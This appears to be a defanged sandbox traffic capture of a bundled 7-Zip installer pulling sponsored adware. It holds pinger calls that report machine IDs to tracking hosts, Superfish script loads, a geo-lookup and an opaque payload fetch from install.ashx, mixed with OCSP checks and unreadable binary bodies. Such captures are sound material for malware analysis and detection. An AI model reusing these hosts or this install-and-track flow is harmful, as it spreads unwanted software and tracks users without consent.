f...M.....Fo9..f..yVO..S.G.cL......cx.-...R....^/K.L{.....O-..@y..l.X.
n.`...I..d.?.|.t.h}.L..RF....{2!..../......t.....V.qI)...-yXU8b.gr... 
... :..,.nZ......Q....'..\.....F....ITZM...K.....,......S2..a;.7^b2.8.
v_:~PVH....A..p.z..2,...`.d0.qS/.../...8.....F ..9.bU.]....@-.q...<<< skipped >>>

GET /ws/products/main.js?v=2015.1.5.0.55&partnername=pelmmbomol HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:53 GMT

Content-Type: application/x-javascript

Last-Modified: Sat, 03 Jan 2015 08:52:16 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:53 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
3a35.............}k..F..g.9...Z...*..z..[..e{.i...<>..G..@.*....
(...}...L$@.TR..aw{.%"....xGd...Y.U..LVqS...._$.`............A..W.eY5.
...#.E..W."....z...2/...98`IVdM....4y0..:ea.V.i.$...7U.H...U........].
....n...Y1{.-..m7.."x.....\...)*.f]V......J.......9.U..h2....U....u...
.q.DX.*].Q.....G.....xt<...(.u...}.Er...ZX/....*j..x.....&}.Yb.~..K
zcZ...YZ-j.....VwA...`...,].o<M.r].n.i...x......-.{';~..z...du.`p..
.()..(....qY... ..4-..x>....Vi...D..R<i.5..z..yR.&U.&.U.....i...
..]i...HQ.U......}.m... <.....^..~...l....hm.'e...".t\....|.T.....&
 .e.....QS....T.....,>O.zQ..<...r..0.....!.(.7K..F.$i...~..U.*\S
.9..Q..G.U...XZ......-..u..r.&YZ... .....J.....aSL.*...rP..s..j<'a.
.s..X-|..'7.r6..R..#.2......6......i.....D.e9...i3O......vz.8.VM_.M.G.
@..8.7.......Pl...g90..ep..<.L..p....a.tUU.Q.B..I..H..>f).0..e..
.v...Q.d^....?..I. .V.\f.QN....b..yBd. 7...^y.....-...Z..|.!.q2..bC./.
.x...D=..A~~.nV....i...9[=.7..E......9.tA...E......Q..Y..O.9.e... ....
$.$..~u`.,......\..[7.j..eZM......8..:...5f..o...%.* "l^.\d ...3..7.U.
.a.m>(.G.8........OE <.k..j..~...C..P..1w............Kl{.5...0.Y
..d=..3.o.D.....~...P.R.O...#..........B...O!.K..S....7g.../.(...E.X-.
..e]....x....5K.<.|.NVS..V..qT.. ."......9............X.:.Zt...8.@.
...U.K .6.WM..Vy...L.ic....t:E..E.."....Z...`........3}..f..Is.....6..
4....(H...P...&..L.e..n.j/..${}y~.|......(..B..ef...9 ..F.9.F.G.%,.W.J
.X.S6.V.........E.... ......M...q.E.622. ..E.eY..... qS..No..oV*1:5D.w
0.0...i<O.F^.V../.....2.0ej?0.._...Qo..z..),......?:..m.....,..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&0.015374429884770502 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=464888, public, no-transform, must-revalidate

Last-Modified: Mon, 5 Jan 2015 18:44:32 GMT

Expires: Mon, 12 Jan 2015 18:44:32 GMT

Date: Wed, 07 Jan 2015 09:37:12 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
5184432Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150105184432Z....20150112184432Z0...*.H........
.....P*........D..)..Ex/.......P?)...K...BJ..G..x. \2....6y....\..t..0
.1,y..S...{.....:..<... vn....&.$[.3...I...\ ...._.L..1@=cZ;..J....
w.o.]s.n.......F.3.....V...P..NA/......\... ..%.`p...AA....W.?..@UI..3
pi..E....%w.Z:~.C............`..:...:....UE..x...x.......#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*FK....W@....F....jnb.w._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=508150

Content-Type: application/ocsp-response

Date: Wed, 07 Jan 2015 09:34:41 GMT

Etag: "54acb428-1d7"

Expires: Tue, 13 Jan 2015 21:34:41 GMT

Last-Modified: Wed, 07 Jan 2015 04:20:56 GMT

Server: ECS (frf/87E3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015010
6200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
..........z....@7....20150106200000Z....20150113200000Z0...*.H........
.....D....).=S.q:;.>.t.......B6.I. YJ......i...'..OB....8_h*.......
......5E.....Z..B.J...X..>8....`.^....#..:....y...I..0?.`.. 2LoO.a2
$d....?d.j....lD..?.b@H....J...g/{r...`.....S}..6T..UA...8.0.....E)..M
..?.<..w1.v.[..g}..._..RG.:...y...\.8.2.zX.T....7.../.|ZvHTTP/1.1 2
00 OK..Accept-Ranges: bytes..Cache-Control: max-age=508150..Content-Ty
pe: application/ocsp-response..Date: Wed, 07 Jan 2015 09:34:41 GMT..Et
ag: "54acb428-1d7"..Expires: Tue, 13 Jan 2015 21:34:41 GMT..Last-Modif
ied: Wed, 07 Jan 2015 04:20:56 GMT..Server: ECS (frf/87E3)..X-Cache: H
IT..Content-Length: 471..0..........0..... .....0......0...0........P5
V.L.f........=.U..20150106200000Z0s0q0I0... .........Q..2...}Q......b.
U.....P5V.L.f........=.U...........z....@7....20150106200000Z....20150
113200000Z0...*.H.............D....).=S.q:;.>.t.......B6.I. YJ.....
.i...'..OB....8_h*.............5E.....Z..B.J...X..>8....`.^....#..:
....y...I..0?.`.. 2LoO.a2$d....?d.j....lD..?.b@H....J...g/{r...`.....S
}..6T..UA...8.0.....E)..M..?.<..w1.v.[..g}..._..RG.:...y...\.8.2.zX
.T....7.../.|Zv....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=509386

Content-Type: application/ocsp-response

Date: Wed, 07 Jan 2015 09:34:42 GMT

Etag: "54acb5e9-1d7"

Expires: Tue, 13 Jan 2015 21:34:42 GMT

Last-Modified: Wed, 07 Jan 2015 04:28:25 GMT

Server: ECS (frf/87A8)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015010
7041300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150107041300Z....20150114042800Z0...*.H........
.....y:..L......L.w..q..0..N......r.......@F.~}~,.......:'4...aq..%G.}
..j...:....b.v.]......x.....?Q...{l=A..G.w....g.~%Q-...|....a.s.6/.j..
...... ..... ....vW.p..{..E..v.^}d.{.'......._..n.4p._>...}~....D..
.7.....1 ...J..b%\........R_.!..<c.]...k.....~..8yD{..HTTP/1.1 200 
OK..Accept-Ranges: bytes..Cache-Control: max-age=509386..Content-Type:
 application/ocsp-response..Date: Wed, 07 Jan 2015 09:34:42 GMT..Etag:
 "54acb5e9-1d7"..Expires: Tue, 13 Jan 2015 21:34:42 GMT..Last-Modified
: Wed, 07 Jan 2015 04:28:25 GMT..Server: ECS (frf/87A8)..X-Cache: HIT.
.Content-Length: 471..0..........0..... .....0......0...0.......q.7.s.
......4. Z.....20150107041300Z0s0q0I0... ........ ......%.:EUvf.U...3.
..q.7.s.......4. Z......M.q.......d...,....20150107041300Z....20150114
042800Z0...*.H.............y:..L......L.w..q..0..N......r.......@F.~}~
,.......:'4...aq..%G.}..j...:....b.v.]......x.....?Q...{l=A..G.w....g.
~%Q-...|....a.s.6/.j........ ..... ....vW.p..{..E..v.^}d.{.'......._..
n.4p._>...}~....D...7.....1 ...J..b%\........R_.!..<c.]...k.....
~..8yD{....<<< skipped >>>

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCH1CfE6L0C4G HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com


HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 06 Jan 2015 14:39:03 GMT

Expires: Sat, 10 Jan 2015 14:39:03 GMT

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Cache-Control: public, max-age=345600

Age: 68152

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015010
6070524Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.}B|N........20150106070524Z....20150113070524Z0...*.H.............=N.
m=....Nj/~ .v9'..H.8......\......03.><.3O...*q.#.2L.G.T....,...U
s4.X....TH..N....u.[...Q...N.Up....<..B..h...m.....:u."........}.R.
..L..>......3EQ. y..g[.....nN.........yk..1.....[o....J.._...I...M&
\........R.L....._)T..'......q.VS....?./.l.a..r".BX..T.HTTP/1.1 200 OK
..Content-Type: application/ocsp-response..Date: Tue, 06 Jan 2015 14:3
9:03 GMT..Expires: Sat, 10 Jan 2015 14:39:03 GMT..Server: ocsp_respond
er..Content-Length: 463..X-XSS-Protection: 1; mode=block..X-Frame-Opti
ons: SAMEORIGIN..Cache-Control: public, max-age=345600..Age: 68152..Al
ternate-Protocol: 80:quic,p=0.02..0..........0..... .....0......0...0.
.....J......h.v....b..Z./..20150106070524Z0k0i0A0... ..........j.....p
.I.#z...(~d..J......h.v....b..Z./..}B|N........20150106070524Z....2015
0113070524Z0...*.H.............=N.m=....Nj/~ .v9'..H.8......\......03.
><.3O...*q.#.2L.G.T....,...Us4.X....TH..N....u.[...Q...N.Up....&
lt;..B..h...m.....:u."........}.R...L..>......3EQ. y..g[.....nN....
.....yk..1.....[o....J.._...I...M&\........R.L....._)T..'......q.VS...
.?./.l.a..r".BX..T...<<< skipped >>>

GET /api/geo?callback=Beat1110021684825445448025_1420623259121&_=1420623259122 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: xs3hgr0g-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:42 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 95

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

Beat1110021684825445448025_1420623259121({"Country":"UA","Region":null
,"City":null,"ISP":null})HTTP/1.1 200 OK..Date: Wed, 07 Jan 2015 09:34
:42 GMT..Content-Type: application/json; charset=utf-8..Content-Length
: 95..Connection: keep-alive..Cache-Control: private, no-store..X-AspN
et-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2
..X-Cache: MISS..Beat1110021684825445448025_1420623259121({"Country":"
UA","Region":null,"City":null,"ISP":null})..

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Wed, 07 Jan 2015 09:35:44 GMT

Last-Modified: Thu, 01 Jan 2015 15:18:48 GMT

Server: ECS (frf/8799)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015010
1064605Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20141203203331Z....20150331203831Z0...*.H.............H...y5p
...Z...%...y.......w.>1......XZ.5(.X....D......~.....G...."1...8J.g
.y..5.. }.1._..@.c..@eE..j....i.Mp..(..!..c.....r....&,|....G3...[.F..
(...;A<.{;Bs.%Q....M:8........G.nKu}.97.......p..?.n_.#..d.. .N@.M.
.IF[...X.lP.;.5'...v...-.....*l.8. ...e.?.q\.....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...140122184236Z..150122184140
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../D4n.=ZTeH.B=kOT.v..2@F.2L..A...yn.4......fP...L...2
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............. .p.)...09W..Z.......]....}.:.
.Vr.....c..U..:V^.O.....<...b*5.c.\.fF./....5'.>./ iS..R0..)..*.
!..q.h.T..ul.}&.......`.1".~.U....rB.BR.s..x..o..Y.......).4:.[.9.=...
.x...'.f..\ kC......@I....G:J!.hRH..!z2DtL.s2.r.....Yi~..E..AzO..i.."N
.$j...b...o..i."{(3....<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.6734895938704455 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.003470828578251539 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:10 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Wed, 07 Jan 2015 09:35:44 GMT

Last-Modified: Thu, 01 Jan 2015 15:18:48 GMT

Server: ECS (frf/8799)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015010
1064605Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20141203203331Z....20150331203831Z0...*.H.............H...y5p
...Z...%...y.......w.>1......XZ.5(.X....D......~.....G...."1...8J.g
.y..5.. }.1._..@.c..@eE..j....i.Mp..(..!..c.....r....&,|....G3...[.F..
(...;A<.{;Bs.%Q....M:8........G.nKu}.97.......p..?.n_.#..d.. .N@.M.
.IF[...X.lP.;.5'...v...-.....*l.8. ...e.?.q\.....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...140122184236Z..150122184140
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../D4n.=ZTeH.B=kOT.v..2@F.2L..A...yn.4......fP...L...2
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............. .p.)...09W..Z.......]....}.:.
.Vr.....c..U..:V^.O.....<...b*5.c.\.fF./....5'.>./ iS..R0..)..*.
!..q.h.T..ul.}&.......`.1".~.U....rB.BR.s..x..o..Y.......).4:.[.9.=...
.x...'.f..\ kC......@I....G:J!.hRH..!z2DtL.s2.r.....Yi~..E..AzO..i.."N
.$j...b...o..i."{(3....<<< skipped >>>

GET /install.ashx?e=/k6kR j50tpPNjxRBLtb42Dbd/0vivstHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atUjq2IY Ol30CzS9Fg9Lumbxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UpTJ2ibhTIXvL Evyupn5FoSAG857z6vSKwJgNH5xpU/aXqIIXH13rtMsjFOaa8h2Q6uT4PKaqdA1NSBLkxYXjRGH92XQHP1g8svjkMkOLYxtnlzuV8QGbxOn8Zt7Uvfxo7rTqA4tGAvJ3g/46853GMtCsCrExr/d46J8ZVZMavv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ofxdive Por/pn14isD25UFAfTvOM0UfKA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1320

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 72aad9745d754346a4a44fb3fa892016.cloudfront.net (CloudFront)

X-Amz-Cf-Id: loILMOuEZJdLlH9TOD_z9_gcCZUUn8th9gnLFFFUFwh8w5RocWDh5w==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|V@...W._...../5.Q..  w.......m.`......[...T......../.l...R.b_
......ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(.k........vo..W4N.izg~0..|,.............Uu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.)/.E.c.......m.`......[...T......../.l.....o.v..,z....9
....>..T...K.0a.|!..._.....k....D....-........?.......C.......S..M.
6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....1..8..
n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^..@..fe.!3F .
4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.Wk.iV.5
..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9....qc<
;......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD .](C.
=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.....q@
,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!.....E.8.
n..-..n..(K..H...].......n..e.....E..bk...<ROJ...b ....|{...C. .d..
.....B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....4.=
.......v....,...<<< skipped >>>

GET /js/jquery-1.8.3.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT

Accept-Ranges: bytes

ETag: "806e96648984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 33537
.............v.F./..^.....V..EIN...P0....3...=.d(:."A.1.0.(Y.._..q....
._Uw....g...L,....................."]U./.E.?.........o.['......?._...;
...|y.1/yqy.H.IV&........u6..<..U.w...W?.......~.'..n;,.j]d...$.^..
.\-.....SE..U.l..N......o.M..]:..(....d......*..Si,..Y\.G^?...j.O.....
..z.....o..i\&~0,.dp.TO..H/.U....*...|~@mx%}..=.Qq{WDh...u..z'!...E..S
y....7..._.=...Q........".].VqQ&..}..^.b;. ..2..^..s=.mB.S'.......o...
.y.W.iv...T..j.....i.|..n__..L ?.W. ..Y.f..G..xr.......n.....T~pg....I
vr. tO.'.M/....zE....o..sj. ..Y~.D.....`.O.5.a..H%u.9.f8.....#.\.00V..
..K....._a......x.@.JlK).5.....|.B.I..S\..r..M.QG5u%.I...J....<]T..
.u....*r...gu..-{R..-/...D:_....7......x..hsM.$..g.t....Q.........|. 1
.....$.....g...W~`W!......;?..u....w...xI5...../^..l.......o..0=l..8#}
.[i,;@...zp...x....bNh..T.4.....Tn_*U.j.....=......ER%.9.......g`O...{
}....NT...W.I..g.....k)4.g3j&S.3.&.6g.sx....%.X.l.w[%I.._.!.P.;.7#.i[$
qa.hyx....*.,..2ifk%a..H...5.6}...36.F...HhH. .*.o...=..}....\.VyQ....
....<c<.f.d9<....,....p..5r..A.=I..."D.\.>..P.z6K..zQ=.J..
...h....D.q./...D..A~2)..|...F...<.....x.S..m6.R.....(.s.CW..J..I..
..r.-<p......E....e..F .......S.@c......uF.J.d...l_......&Dd.y.d.hW
